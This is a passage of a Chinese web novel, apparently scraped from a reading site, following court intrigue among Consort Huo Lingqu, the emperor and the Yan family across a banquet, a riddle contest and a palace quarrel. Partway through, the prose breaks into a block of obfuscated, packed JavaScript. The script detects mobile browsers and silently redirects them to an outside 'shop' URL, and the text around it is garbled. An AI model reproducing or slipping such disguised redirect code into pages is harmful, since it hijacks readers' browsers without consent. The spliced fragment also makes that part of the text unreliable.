霍舒窈摆手被按住,诧异了下,就见乐邑长公主眼疾手快蹿过去按住童年伴读抢话怼:“假设你还是霍家的掌珠,你若想嫁一个霍家不看好的男子,霍家还能强硬不准吗?你当就你才得家族疼爱啊,人萧灼灼也是萧家的掌珠好吧。” “纤若你的假设不成立。”霍灵渠语调轻柔清脆犹如林间山泉叮咚:“宜春县主这种情况不会发生在我身上,我不会去喜欢个我自家不会同意结亲的男子。” 乐邑长公主轻松击破:“倘若人家就是专门冲着你来的,百般讨好你想获取你的芳心,你还能抗拒得了吗?”然后告诫般申明:“我的假设当然成立。” 霍灵渠神情古怪:“纤若,你不觉得你的想法很有问题吗,什么叫做抗拒呀,难道有人讨好你,你就要喜欢他吗,你把自己看得这样轻吗?你可是个公主呀。” 乐邑长公主嬴纤若:“……” 晏霁之弯弯唇,沉郁一扫而空。霍雄鹰抬抬下巴整个儿一副神气活现的德行,看看,这才是正常想法,宜春县主那傻缺样纯属有病,这位估计脑子也不好使。 薛述聪也怀疑这媳妇哪里搭错了,好像她会嫁个屈从她讨好她的男人似的?但薛述嘉就有那么点心塞了,贵妃这想法不可能不传给妹妹吧? 霍贵妃什么想法呀,女儿家该矜持要矜贵,对呀,或者说这才正常嘛,但被霍贵妃这么一提,老大人们终于意识到之前被忽略的问题了,宜春县主怎么会瞒着萧家跟外人有私情?许多位看向霍秦川,这亲家的弟弟家,你好歹多少知道些吧。 霍秦川心说看他做什么,没看见人宜春县主的爹娘恩爱得连个庶出都没有吗? 相较于他们的态度都明朗,嬴忱璧还真不知道该是什么心情,贵妃的想法很好,但是,但是他目前应该还只能归在讨好者的范畴,这个就……让皇帝他有点心塞了。 乐邑长公主缓过劲儿,今夜算是要跟霍灵渠杠上了。 “你有没有点见识,不知道英雄救美啊,你这么孤陋寡闻吗?”乐邑长公主重重打压:“你搞清楚,我的假设是:人家是专门冲着你来的,百般讨好用尽手段就为获取你的芳心,倘若第一面他就给你来个英雄救美对你有救命之恩了,你还能等闲视之吗?” 萧灼灼和堂哥返回来,听到这个假设,下意识停留在暗影中,没再往前去。 霍灵渠当然道:“不等闲视之,你还想有什么负担吗?纤若你昏头了。” 晏霁之手抵唇笑,霍秦川和薛述聪都差点笑出来,乐邑长公主可被噎得有点抓狂了,霍灵渠个铁石心肠!乐邑长公主嬴纤若强烈谴责:“你才昏头了,你懂不懂什么是救命恩人,你还有没有良心,对救命恩人随便打发,你的良心被狗吃了?” “难道你还想以身相许吗?那侍卫天天都在保护你,怎么不见你嫁个侍卫呀?”霍灵渠懒怠怠反驳:“你看你就没把救命之恩当回事儿,你有什么资格谴责我?” “侍卫保护我们是责任!”这厚脸皮的果然是姓霍的,表面装得再温良,内里都是他们霍家人的冷心肠,乐邑猛烈抨击:“旁人又没有责任救我们,你搞清楚人家救你和侍卫救你是两回事,人家没责任救你却挺身而出救了你,这还能等闲视之吗?” “对啊没责任,他不必救我,我也不需要他来救我,我自有侍卫保护我,就算侍卫保护不力害我遇险有性命之危,但这关他什么事啊用得着他多事吗?” 霍灵渠褪去散漫争锋相对:“他愿意救我是他自己事,人家的事,你偏想让我有负担,你脑子坏掉了啊,他若是见义勇为,我重礼谢过,这事儿不就完了吗?他若是挟恩图报,更是简单,完全就是交换,这跟钱货两讫有什么不同?这本质上就是钱货两讫。 难道你买首饰付过银两后还要有什么负担吗,更甚者,我完全能怀疑是不是他设计害我置于险境再挺身而出救我就是为了从我这里拿好处吧,你真昏头了是吧!” 乐邑瑟缩下,蔫儿了,霍桑柔和在灵渠怀里的小祐娃娃都想摸摸自己的小心脏,更多人是想唏嘘,霍贵妃的想法没毛病,就是太冷,对人情味重的大人们尤是感慨霍家是真冷情,霍贵妃瞧着很有良心都能把救命之恩当钱货两讫算。 “灵渠若是男儿身,是个做枭雄的料啊。”太上皇评价。 “女人就不能做枭雄吗?”霍灵渠反问。 太上皇哈哈大笑:“你祖父还真是按嫡长孙的标准培养你啊,这才是幸亏了,否则灵渠若是男儿身,以你祖父对你的栽培疼爱,你和海啸之间还能和睦吗?” 霍灵渠平淡纠错:“姑父您这样以偏概全不好的,您看我爹和我大伯,我祖父偏心的,他偏疼霍漓江,我们家里都清楚,但对他们兄弟根本没影响。 我爹对家主之位毫无兴趣,心甘情愿做兄长的左膀右臂;大伯跟半个爹似的爱护弟弟,真真是长兄如父,同室操戈是私欲的膨胀和家庭教育的缺失而不在于是男是女。” 太上皇笑意微敛:“霍家,确实是有福之家。” “福运是自己挣的。”霍灵渠感悟道:“纤若和宜春县主或许殊途同归了,纤若对救命之恩很感动大概是爹娘对她的疼爱不够,故而有旁人对她好时会令她倍感珍惜。 宜春县主是太受娇宠,娇宠到她把父母家人对她的好当做天经地义毫不珍惜,当有吸引她的新鲜事出现时她只想满足自己而从来没想过替父母家人考虑。” “但我总觉得宜春县主的问题是萧家的教育出错了。”至于皇家,没法比,不提也罢,霍灵渠好笑:“哪有这么纵容孩子的,这不知道的还以为是在捧杀呢。” 太上皇乐了,忽然有兴趣再和贵妃聊聊:“霍家对你的骄纵比之萧家对宜春应该有过之而无不及吧,难道在你和家族意见相左时,霍家会对你强硬不准吗?” 乐邑看看父皇又瞥过眼丈夫,悄然低头忍住酸涩,再挤出惬意的微笑,抬头。 “会呀,宜春县主这个事若发生在霍家,根本就不算是个事,霍家强硬不准就完了。”霍灵渠理所当然:“是家族掌珠又不是对孩子溺爱,该管教时肯定要教管啊。” 太上皇被逗趣道:“可若是自家姑娘已经对那男子情根深种非他不嫁了呢?” 霍灵渠不假思索:“有本事她就终身不嫁吧。” 好多位被惊了惊,乐邑心说霍灵渠个铁石心肠果然没冤枉她。 “若是自家姑娘寻死腻活要以死相逼呢?”太上皇还真有点没把握贵妃的答案了。 “去死吧。”果然,霍灵渠出人意料又不负众望的彰显她霍家的冷血,众人再被惊了,霍秦川忒想捂脸劝贵妃侄女悠着点啊好歹给霍家留点名声吧,太上皇突然觉得乐:“这姑娘可是自家的掌珠,家族若是真心疼爱,可能会这样对自家掌珠吗?” “在霍家,会。”霍灵渠沉寂下若有所悲:“我不知道是不是多数人的通病,把付出多的一方的付出视作理所当然,当付出没有回馈而不再付出时反而被视作狠辣。 姑父问,若家族真心疼爱可能会放任自家掌珠寻死腻活吗?侄女想反问您,家族真心疼爱可能会不盼孩子好吗,在都是真心的前提下,既然家族不同意,她有何不能相信自家人,难道一个初相识的人比疼爱她十几年的家人还值得她相信吗?” “想死就去死!”霍灵渠骤然火大:“家里千娇百宠把她养大,结果她连家人肯定是世间最盼着她好的人都不懂,为满足她不被家族认同的私欲可以寻死腻活以死相逼。 她把家人对她的好当做什么,她可还有顾念家人,她还有良心吗?想死就去死,在霍家绝对没商量!萧家若是纵容,将来会遭什么罪都是他家活该。” 整场鸦雀无声,连同太上皇在内的长者们皆感怀,这确实是多数人多数家庭的弊病,不至于溺爱,但疼爱小辈的家长们大多都会很自然地迁就孩儿,即使是旁人都会理所当然想,你家疼爱这娃,依从他不是应该吗?若是不顺从,反倒成家族狠心了。 班丞相想想忽然想笑,霍家不愧是群狼环伺还能稳坐当朝第一豪族啊。 霍海啸几不可察地扫过武襄侯,若还不想管侯瞻渥就是没把霍家当回事儿吧。 突然间,夜空中开出缤纷绚烂的烟花,众人被吸引,小娃尤其雀跃。 霍舒窈怪道:“这不年不节的怎么会有烟花?” 隔壁桌的隔壁桌传来回应:“我派人放的,想看,就放了。” 晏霁之话落,不少视线注视向他,皇帝嬴忱璧眼神微妙,霍桑柔都觉得,他这是放给她姐姐看的吧。今日被霍灵渠可劲嫌矫情的魏王嫌他矫情,晋王冷呵,当谁看不懂似的,有本事他就尽情在皇帝面前显摆,看皇帝有没有那么大的肚量。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459313|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 尝过许多街头小吃,付过账,一行人继续往前去,慢慢看慢慢玩,终又在设有比智招亲的酒楼前停驻。好些得知圣人和陛下今夜会来瞧瞧这三道题的大人们或独自或带着儿孙早已汇聚在此了,皇帝他们过来,酒楼前这片就全被这群达官显贵占满了。 三幅题目样板图高挂在半空中,晋王随意扫过眼就开腔:“晏霁之,你就出战吧,据说人家从江南来的,可别让人说京师的人杰还不如江南。” 萧灼灼原想着,若是晏霁之答不出来非得好好鄙视他,现下,压根儿没心情。 早到的这批有没有人想博个彩在两位至尊到来前把题目解出来呢,应该肯定有吧。 三幅样图,第一题,图纸中画有一座城,城外陈列着用以攻城的撞车、吕公车、床弩箭矢、刀枪、抛石车以及堆叠的石头还有云梯,这幅图下方摆放着的就是对应的沙盘和器械。题目要求用城外配备的器械将整座城摧毁掉。 第二题本身就在画作上,画中一巨石位于水中,巨石上有位书生,巨石四周围有食人鱼环绕,书生若是一个时辰内不赶到岸上就会被食人鱼吞食,该书生不会游泳不会飞檐走壁,巨石上唯有一根细竹竿可用,问:书生怎样逃生。 第三题是盘棋局,赢棋即可,但据说不管选黑子选白子,怎么下都是死局。 晏霁之往前走步观摩,同来的诸位既然瞧着了也一起琢磨琢磨,霍桑柔观察遍,毫不犹豫地只想第二题,思考过后发现她傻了才思考,这题目明显一看就无解嘛。 “这都是些什么题啊乱七八糟的,我看是耍人来的吧。”桑柔妹妹小声和她姐姐吐槽,薛述嘉凑近来附和:“没错,前天我就看穿了,这三题根本都没解的。今儿听说这是昌隆侯座下的幕僚出的题目,呵,什么都明了了,就是送进京来耍人的。” 霍枫叶走过来要把薛述嘉拽走时,霍灵渠说:“没有啊,我想到答案了。” 他们:“……” 皇帝嬴忱璧有点难以置信,毕竟皇帝他还没有想出来呢。魏王怀疑这女人装腔吧,乐邑和霍舒窈就没什么怀疑,很肯定霍灵渠在装腔,恰在这时,晏霁之神色若遇疑难般跌退步,晋王当即数落:“晏霁之你行不行啊,我们这儿可已经有答案了。” 太上皇失笑:“霁儿真想退缩了?这可不像你啊。” 晏霁之摇头:“我猜到出题目的人了,有点意外,原来,他竟然在朱家。” 其他人:“……”你们两个够了!! 这俩人是约着吹牛来的吧,薛述嘉和包括魏王在内的有志一同的伙伴们想,是啊,纵使嬴忱璧相信晏霁之智慧过人也难以置信在皇帝他还没有想出答案时,晏霁之就把出题人都揪出来了吧?他和他之间的智慧差距不可能会有那么大吧。 晏墉担心这兔崽子装过头了,这么装,你还能收场吗?别说,晏煦之都不大敢信啊,闷闷不乐的萧灼灼都被燃起斗志极其想戳穿他一看就很假的吹嘘,但念在众目睽睽让他下不来台,她也要倒霉的,为了她倒霉的欠债,还是算了吧。 “晏霁之你真的假的?”霍雄鹰一马当先:“我左看右看上看下看,我都还没把题解出来呢你就把出题人都猜到了,咱俩差距能有那么大吗?有本事你说,出题人谁啊。” 霍巨浪瞟瞟弟弟,心里腹诽,你和晏霁之的智商差距可能还真有那么大。 “昌隆侯座下十位幕僚,第一题是他座下第四幕僚宫篷先生出的,第三题是他座下第二幕僚梅斗先生所出,第二题是他座下第一幕僚孟怋乂所出。”晏霁之看着太上皇,莞尔笑:“天下才有一石,曹子建独占八斗,这位孟先生,我敬他,江南才气半石在他身。” 好多人不可思议注视他,薛述嘉受打击想,他不是瞎蒙的吧,他还真不是吹牛啊? 霍雄鹰就没受啥影响,他心多宽啊。霍秦川更利落地出腿踹霍海啸两脚,这不争气的!嬴忱璧默默压抑他的小心思,皇帝他还是有点受伤的。 太上皇微讶:“哦,这位孟先生竟然能得霁儿如此高的赞誉?” “只是我没想到,他竟然会在昌隆侯麾下。”难怪……晏霁之思索之际,人群中传出轻微的骚动,一位女郎走出酒楼来到挂着的题目样板前,这女郎有着令人见之忘俗的脸庞,秋水盈盈的双眸,清纯中又自有股浑然天成的媚,一眼便能撩拨人心。 霍桑柔直觉想,应该她来抱着小祐,不该让她姐姐抱的。 见多识广的认出此女何许人也,迅速在人群中传播,转瞬间就传到太上皇和皇帝耳中,此女乃江南第一名妓酒靡儿。酒靡儿二十二岁,十六岁登台,早已练就处变不惊,面对这场面也是落落大方毫不怯场:“公子误会了,这三题是小女子所出,” “你不配!”晏霁之望向二楼窗边的身影,主客已换:“来人是梅斗先生吧,下楼来吧,我告诉你,你被孟怋乂抢走昌隆侯座下第一幕僚的位置,输在哪儿。” 好多人被噎得慌,刚还在心里腹诽晏霁之不懂怜香惜玉对个这么漂亮连女人都要忍不住怜惜的姑娘居然都能这样粗暴的萧灼灼立时心肝疼,再再再可怜自己,为什么不先打探清楚晏霁之的情况,这下好了,撞到座铁山,苦死她了。 滕王也心肝疼啊,这人和人的差距也忒大了吧。晋王更不是滋味,他能接受晏霁之聪慧但不能聪慧到超出他那么多吧,他还不知道昌隆侯那个第一幕僚的情况呢。 晏墉嫌糟心,这兔崽子就不能别这么张扬吗? 酒楼二楼一处窗边身影微晃,未久,晌午曾在距离京兆府大狱前最近的高楼上观察过霍家人的文士走出酒楼,酒靡儿见状只能忍下争辩的心思。梅斗先生一眼扫视过,暂且按住寻觅哪两位是皇帝和太上皇,走上前寒暄:“敢问公子是哪家少爷?” “我姓晏。”晏霁之不冷不热的,梅斗先生了然:“英王世子?” “承让。”晏霁之应,好多贵胄少爷被他逼得做深呼吸,这混蛋嚣张得太过了吧。 “公子你连题都还没解出来,这声承让太早了吧。”梅斗不咸不淡地提醒。 “拿笔来。”晏霁之要求,梅斗爽快让小厮去准备,晏霁之走过几步来到抱娃的霍灵渠面前,煞是温柔:“你第一题的解法是什么?”他眼底流淌着的真真是男人看女人的情愫,逼得他爹晏墉和皇帝嬴忱璧都想做深呼吸,霍巨浪和魏王真想褒奖他。 “钻木取火,用火把沙盘烧了。”霍灵渠甜笑着说,苦思的人们:“……”好像还不能说霍贵妃的解法是错的,天爷啊,霍贵妃就把堆砌的那么多器械当摆设吗? 嬴忱璧默默忍住苦逼,晏霁之失笑:“火攻不雅,用我的解法吧。” 你还有第二种解法?!嬴忱璧下意识想瞪眼看他好在忍住了,但皇帝忍住了,在场许多年轻人甚至些年长者都没忍住,那么快就能想到除火攻外的第二种解法? 晏霁之走到沙盘前,将云梯横向放入城郭底下,估测出个支点放入石头做成跷跷板,接着在云梯的另一端堆积石头,在石头堆积到足够重时整个沙盘被翻转甩倒,不禁有人惊呼,这还真是用城外的器械将整座城摧毁掉了,但是剑走偏锋根本没按出题的思路走。 霍灵渠的想法也是,就是把沙盘当做沙盘,而多数人面对这题都被带入了模拟战争的攻城思路中去,嬴忱璧默默治愈刚才那点受伤,他就是想法太正规了。 小厮把笔墨取来,晏霁之接过毛笔,走回到霍灵渠面前把笔递给她,笑道:“第二题,你来解吧。”说着把女人怀里的娃接过来抱着,这不知情的看来绝对是一家三口,看客们觉得他真是嫌活得舒坦了吧,晏墉真是有种拽过这兔崽子就走的冲动。 霍灵渠握笔来到第二题前,酒靡儿看见她愣下,世间竟有这样倾城倾国的绝色。 下笔,在画作的水面上添座拱桥连接,霍灵渠解答完把笔还给小厮,走回到晏霁之那儿把小祐抱回来。梅斗皱眉:“晏少爷,你夫人这题解得也太投机取巧了吧?” 好多人纷纷在心里附和,他们看到这解法真是被噎得够呛,特别是魏王和乐邑。 “不是我夫人,是我婶婶的娘家侄女。至于这解法,就这么一个,孟怋乂的答案也只会是这个。”晏霁之言之凿凿,梅斗略过道:“好,请晏公子解第三题吧。” 晏霁之没兴趣了:“自毁几颗棋子,棋术造诣中等的人都能赢了,没什么好解的。这三题就第一题还有点价值,昌隆侯的眼力不怎样,宫篷先生第四的排名低了。 你输给孟怋乂的原委全在棋盘里,你把世事变化限定在你的设想里,一旦超出你预料,你就是满盘皆输。对别人设限同样意味着对自己设限,怨不得孟怋乂没把你看在眼里。” 对别人设限同样意味着对自己设限吗?嬴忱璧低眸思索。 至于梅斗有没有听进去,从他的脸色是真没看出来:“多谢英王世子赐教。” “来而不往非礼也,代我回个礼给孟怋乂,一个人若是一直往一个方向前行,他最终会走向哪里?”晏霁之好意补充:“梅斗先生不必思量了,你是解不出来的。” 晏煦之捂捂脸,这打脸打得也太损了。 梅斗先生仍然泰然自若:“好,在下一定帮阁下把回礼带到。” 晏霁之略略颔首,转过身去扶太上皇,都没说什么,太上皇和蔼地带众人离去。 与此同时,霍府大宅,霍擎老太爷独坐在书房里候客,烛影晃动,咯吱的推门声传响,靠在椅背里闭目养神的霍擎睁开眼,看见来人,老脸笑容可掬:“王爷!” 夜渐渐深了,嬴忱璧率众恭送过太上皇起驾回太微宫后,让众人都各回各家吧。霍贵妃觉得累了还不愿意跟他多话,嬴忱璧只能把解释延到明日。回到皇宫,将贵妃送到长春宫,皇帝他还走在宫道上就收到个禀告:杭婕妤夜里悄悄去了椒房殿。 朱家送进京的题被破解还是被轻蔑被不屑一顾的消息送进虢王府、虢王世子妃的寝阁,虢王世子妃坐在梳妆台前除钗环正要准备就寝,得知此事,精明的狐狸眼一眯顿显凌厉,铜镜中的影像一声冷笑:“得意吧,也得意不了几个时辰了。” 122. 第122章 清早,朝阳才在云端打个盹儿,人间俗世里便又已是精神抖擞生气勃勃了。 今天是通过第一轮复选的百名秀女进宫小住的日子,卯时中,她们整齐候在昭德门外,自明日起她们将学习五天的宫廷礼仪,四月二十六验收评定,是为第二轮复选。 今天还是皇宫中刚降生的小皇子洗三的日子,因这小皇子要抱给霍贵妃养育,这场洗三礼注定不能大不能小不能热闹更不能不热闹,霍贵妃带着太上皇的幼女、皇帝的幼妹、年仅六岁的乐阳长公主参礼,皇帝的另外两个姐妹皆派人送礼进宫。 霍家派出霍雄鹰夫妇带着霍巨浪的嫡长儿女以及两三家霍家的亲戚进宫,翊善伯府也带两三家亲戚来,五六家人站一屋组个不大不小的热闹。另外,令愔夫人、杭婕妤、喻秀仪、倪芳华皆有送礼过来,皇帝和太上皇、皇太后皆有赏赐给小皇子和翁美人。 然,与小皇子出生当天无异,椒房殿仍没有表示,在这片祥和中便有点打眼了。 郭皇后是没有想法的,她奶娘认为该敲打翁美人和翁家就敲打呗,毕竟赖嬷嬷都能想对皇帝敲敲边鼓何况是对翁美人和翁家,椒房殿没有表示当然是故意为之,让翁美人警醒点,别她这小皇子要抱给霍贵妃养就生出二心来,她的小命和前程都捏在椒房殿。 那厢,拾翠阁办洗三礼,这厢,郭皇后传召了今早进宫的芮家姑娘。 芮姑娘迈进椒房殿,郭皇后传令多余的奴婢退下,只留几个贴身的心腹伺候着。把她的命令传下去,还没恩威并施就被打断了,芮姑娘十五岁的年纪,年岁不大,气性儿不小:“要忠毅伯府将霍贵妃毁容,否则就要把我刷下去? 皇后你还真不怕笑死个人啊,难怪昨儿个你都能在魏王府前犯蠢犯到太上皇面前去了,臣女劝你自己蠢就够了,别自己蠢还不够还要把别人当傻瓜,否则那些可怜你的人怕是都懒得同情你了。我一定看着郭皇后你能不能把我刷下去,臣女告退!” 语毕,芮姑娘毫不拖泥带水地走掉,被不可思议住的郭皇后几人组:“……!!” “你放肆!你站住,你给本宫站住!”郭皇后回过神来狂发火,没想喊几遍都没喊住,这忠毅伯府芮家出来的秀女竟敢违背她的命令直接走掉,霎时被气得心口疼。 赖嬷嬷连忙给皇后顺气,又紧接着指派人去传杭婕妤过来。 椒房殿的传唤和皇帝的旨意是前后脚到的,杭婕妤还没迈出婵娟馆,晋位旨意就来了,皇帝圣旨将杭婕妤晋为从三品修媛,不止她,低位嫔御皆有擢升位份—— 翁美人连升两级晋位为从四品翁嫔,喻秀仪晋为从五品美人,霍秀仪晋为从五品才人,倪芳华晋为正六品秀仪。而这一连串晋升最直观的便是:翁美人诞育皇嗣更像是只升一级,是皇帝将低位嫔御全部擢升一等,所以她才晋升了两级。 但霍贵妃给她的赏赐是真的多。 翁嫔靠在床头抱着她的小皇子看着霍贵妃给她的赏赐,心里头蔫巴蔫巴的,祖父再三叮嘱要她高兴,娘家人就连外祖家都劝她要高兴,要谢贵妃恩典,小皇子抱给贵妃养,她不能三天两头跑关雎宫,一个月最多两三回,对她对小皇子才都好。 她低头看看睡得香的小婴儿,这是她十月怀胎生下来的亲骨肉呀,她就只能看几天了,她怎么高兴得起来呀,而且她还担心霍贵妃会对小皇子不好,小皇子哭响些吵到贵妃,她的孩子可能就要被打……她一想,她就心揪揪疼,她怎么能放心,呜呜…… 嬴忱璧站在窗前看会儿,犹豫片刻还是没进殿,转身往外走。霍灵渠在拾翠阁正殿前,见皇帝这么快出来,猜皇帝应该没进屋,叹道:“陛下该陪翁嫔说说话的。” “她此时独处更好,小皇子刚出生还养在她身边,她担忧难舍都是人之常情,过些天,她自会缓过来,走吧。”嬴忱璧看眼拾翠阁,带着霍贵妃离去。 出拾翠阁后,霍灵渠要告退被制止,皇帝还有事谈,霍灵渠抿抿唇只能跟着走。 来到蓬莱池西南边的花园,嬴忱璧有经验地给贵妃找有靠背的长廊,宫人们退远,另有几名宫人退下去备茶水糕点,霍灵渠狐疑,皇帝是喜欢走远路吗? 既然都是来花园谈话,他们刚才就经过了一座花园,为何要来此地? “刚才路过的花园在坤宁宫正后方,不大清净。”嬴忱璧似是能猜到贵妃所想。 “清净?”霍灵渠又瞟眼皇帝,总觉得这清净不清净的是皇帝心理在作祟,前天就是在坤宁宫后面的花园里谈话,没看你嫌不清净呀。嬴忱璧以手抵唇轻咳,刚想略过这点碎末,见贵妃走去长廊外似有意赏景,皇帝他只好陪着往长廊外走。 “此处花园有十多亩吧?”不论皇帝想谈些什么,霍灵渠率先把控,但真有悲凉上涌,仿佛能绕过眼前景观看见四面围堵的高墙:“后妃宫苑占地四百亩。 出后妃宫苑往北是蓬莱池,一座蓬莱池就有二百亩,算上蓬莱池周边景观,皇宫中常办宴饮的几座殿阁,宫妃能涉足的范围大概是一千五百亩。” “一千五百亩,应该真的很大,大到能装下嫔妃的终生。”霍灵渠摇头,语气愈发凄清:“不,不是终生是半生,嫔妃的归宿是做太妃,两座太妃宫殿外有座十五亩的花园,做太妃不好常往蓬莱池去,也就是说,做太妃日常能走遍的是五十亩。” “乃至,三亩。”霍灵渠弯唇,眸中隐有锋锐:“冷宫是三亩地吧?” 嬴忱璧脸色淡得看不出情绪:“贵妃定要如此咄咄逼人吗?” 逼?霍灵渠深看皇帝一眼,皇帝是有多受奉承啊,话重些就能被他视作咄咄逼人?瞥见宫人来奉茶点,灵渠不语,待宫人们退下,她转身仰望蓝天,终见广大。 “那么,陛下看是高悬的金乌远还是人间远,这座四方城有多少道高墙呀,尤其是皇城城墙高达三十三丈,非天塌城陷不能越,这一道道高墙隔断的就是人间吧?” 嬴忱璧走去石桌前坐,端起茶盏抿口茶说:“贵妃对朕就抱有这么大偏见吗?” “那我该想什么,五千五百亩皇城,前朝占两千亩,内廷占三千五百亩,我是该想我能把内廷这三千亩地都走到还是我将来能把皇城的五千亩地都踏足呀?” 霍灵渠走到皇帝身侧停下又绕过石桌而站,隔着石桌讥笑:“昨天早上,祖父对我说,芮家是你生母的娘家,郭后是你的发妻,都跟你打断骨头连着筋。我今日想问你,倘若他们幡然醒悟对你忏悔对你真心相待,你能忍得住不与他们亲亲热热吗?” “贵妃,朕是感念太后的养育之恩的。”嬴忱璧头疼地捏捏眉心。 “所以你期许大家和睦共处?”霍灵渠恍然想笑,她随口一问啊,竟然真能被她问着,到底是她愚笨看不懂皇帝对郭氏和芮家的厚爱还是她祖父和晏霁之都看走眼了? “郭氏担不起国母尊位,芮家撑不起君王重用,因此你心中期待的圆满是霍家做后族、霍灵渠给你做皇后,郭氏做宠妃,芮家享尽皇恩荣宠吗?你感念太后的养育之恩,所以霍家连想退出的权利都没有?”霍灵渠好笑:“霍家就只配捡人家剩下的?” “捡?”嬴忱璧缓缓闭眼,手掌不轻不重地落在石桌,若有似无的危险气息扩散。 “贵妃管皇恩浩荡叫做捡?” 呵,白瞎了晏霁之昨天把她劝好了,她祖父和晏霁之都想相信皇帝。霍灵渠往前走步,理理裙摆落座,捧起香茗品茶,皇帝睁眸看她,她慢条斯理噙笑,硝烟弥漫。 “陛下昨夜对臣妾还是善意居多,今早就偏于压制,必是出变故了吧。昨夜,杭婕妤进椒房殿献计,今早郭皇后就传召芮家女,想来是急着要把这计策传达给芮家吧。忠毅伯不会把郭皇后的威胁看在眼里,但若郭氏给出的是贵妃之位,他还能不心动吗?” 霍灵渠昂起下颌满是对皇帝的傲慢,轻蔑讽刺:“你很清楚,大皇子若在魏王府出事,皇后和郭家必会不管不顾就认定是霍家所为,当前有人献计,郭氏就能采纳,大皇子出事后还会没人利用吗,皇后一定会和忠毅伯谈:让霍贵妃死。 你更清楚这只能是他们的空想,恰似郭皇后盼你死,因她所想只能是空想,故而在猜测到她可能会给你戴绿帽前你依然给足她宽容,所以你不想把他们这谋划当回事儿更遑论处置,但你不确定霍家能否宽容,是故,你想先把霍贵妃压制住。” 嬴忱璧面色还是很淡漠,心底却有一丝烦躁侵袭,他没想那么深,但是被贵妃指出后,他发现他真的不愿意拿这点事去计较,但霍贵妃这态度摆明不愿意善了了。 霍贵妃敏锐得更是让皇帝他都觉得发指! 几经思量,嬴忱璧没有转圜,而是直戳个要害:“后位、储君,朕都会给霍家,饶是朕如此厚待霍皇后和霍家,霍皇后都容不下朕生母的娘家人吗?” “厚待?哈哈哈!”霍灵渠恭维:“廉者不受嗟来之食,嬴忱璧,枉你心病二十多年,你可真不会推己及人啊,厚待?人家恨不得想让我们姓霍的死绝,你反让我们霍家人去给他们保驾护航当牛做马给他们擦屁股收拾烂摊子,你管这叫做厚待霍家?” 霍灵渠勃然站起,俏脸铁青怒不可遏:“你想找人给你这些宝贝疙瘩鞍前马后尽管去找愿意的人家,你是皇帝,你一定能找到愿意的人,但我霍灵渠金贵,不会做老妈子,我霍家更没有沦落到要以给人做看门狗求生,恕不能奉令,告辞!” 嬴忱璧只得站起来阻拦:“贵妃,贵妃就如此曲解朕的厚爱吗?” “好狗不挡道,闪开!”霍灵渠痛快开骂,嬴忱璧不可思议:“你说什么?” “你在姓霍的面前可劲糟践霍家还想指望姓霍的对你感恩戴德吗,你不嫌无耻还受不住被骂做狗吗?”霍灵渠冷峻对抗皇帝,说:“好狗不挡道,闪开!” 嬴忱璧深深注视过霍贵妃,下意识挺挺已经很直挺的背脊,眼底逐渐冰封,不带情绪,以皇帝尊威示下:“霍贵妃可知道就凭你这句话会给霍家带来多大的灾祸——”话没说完,霍灵渠不耐烦地踹他一脚把皇帝推边上,昂首阔步离开,嬴忱璧:“……” 天爷啊!! 被霍贵妃踹得愣掉一瞬间的皇帝嬴忱璧紧接着又险些被推懵,怔下,一个激灵醒过神,他转头就看见霍贵妃的背影越来越小直至消失在视野中,回想刚才霍贵妃这串令皇帝都只想捂脸的稚童娇蛮作风,嬴忱璧脑海中只冒出三字:天爷啊…… 哪有跟皇帝发狠时还耍小孩脾气的,她这到底是跟皇帝翻脸还是跟皇帝耍性子撒娇啊,嬴忱璧糟心地坐回到石凳上,但刚冒出的自尊心也愣是被这一踹一推给治愈了。 手撑着额头,嬴忱璧苦逼想该如何跟霍贵妃缓和,御前总管凑过来,嬴忱璧默默放下手臂端起在人前的冷峻稳重样问何事,蒋厚运呈上从椒房殿送来的最新线报。 风轻云淡,茉莉花传香,嬴忱璧阅毕线报遥望蓝天,看见神清气爽的明媚。 北方的来客该到了吧。 京郊十里长亭,魏王、霍海啸和晏霁之同来接故人,原牧炽剑眉星目锋芒毕露,整个人说不出的帅气,一眼就能确定他是人群中最热烈激昂的崽,如宝剑出鞘必张扬闪耀,他带着八十铁骑、握着马鞭高坐在黑马上,倨傲睨视着他们仨,不动。 僵持片刻,晏霁之往前走几步向这位别扭的故人伸出手,原牧炽挥马鞭甩开他的手臂,跳下马来,霍海啸点评:“不知道的还以为你是在接姑娘呢。” 原牧炽立时犹如被踩到猫尾巴般瞪向晏霁之,晏霁之善意规劝:“不要上霍海啸的当,他就是嫉妒他和魏王的关系没有我和你的关系好。” “这有什么可比吗?”原牧炽冷嗤,晏霁之一本正经:“当然有得比,他是魏王的童年伴读,我是你的童年伴读,现在很明显我们俩的关系比他们俩的关系要好。” “我可不这么觉得。”原牧炽拆台:“我觉得我跟你的关系还不如他们两个。” 晏霁之眼底沁出抹温暖浅笑,果然护国公府还在,家人们都还在,他也像是活过来了,又回到少年时活蹦乱跳神气飞扬的德行而不是被迫成长起来的冷厉持重。 “这倒是,毕竟一个是你亲哥,一个是你很想让他做你的大舅哥。” “你说什么?”原牧炽炸毛:“本少爷我警告你,我姓原,我跟他没有一点关系。”他指指魏王再指霍海啸,严正告诫:“我跟他就更没关系了,我可是有媳妇的人,我媳妇姓何,不管我表弟童年时有过什么乱七八糟的喜好都跟我没关系,记住了!” 被警告的三位眼神各自微妙又相似地瞟着他,魏王不再理会,率先往凉亭走,晏霁之生怕原牧炽要跑掉般拽着他走,原牧炽愤愤蹡蹡要甩掉晏霁之,霍海啸押后。 四人都在凉亭落座,霍海啸通知:“宫中今晚会给你办洗尘宴。” 原牧炽不屑,晏霁之叮嘱:“你悠着点儿,别太嘚瑟,要不然被你老爹认出来,你就别妄想再做原牧炽了滚回来做嬴忱旌吧。”惹得他拍桌子,随即被魏王斥:“行了!”再惹得他瞪向魏王,魏王反瞪,哥俩眼神胶着会儿,原牧炽冷哼转头。 “朝中形势有变,调护国公回京的旨意大概会往后押,你就看今晚吧,若今晚出事,你什么都不要动,就当来京畿玩一趟,玩过就回北境去。”魏王交代。 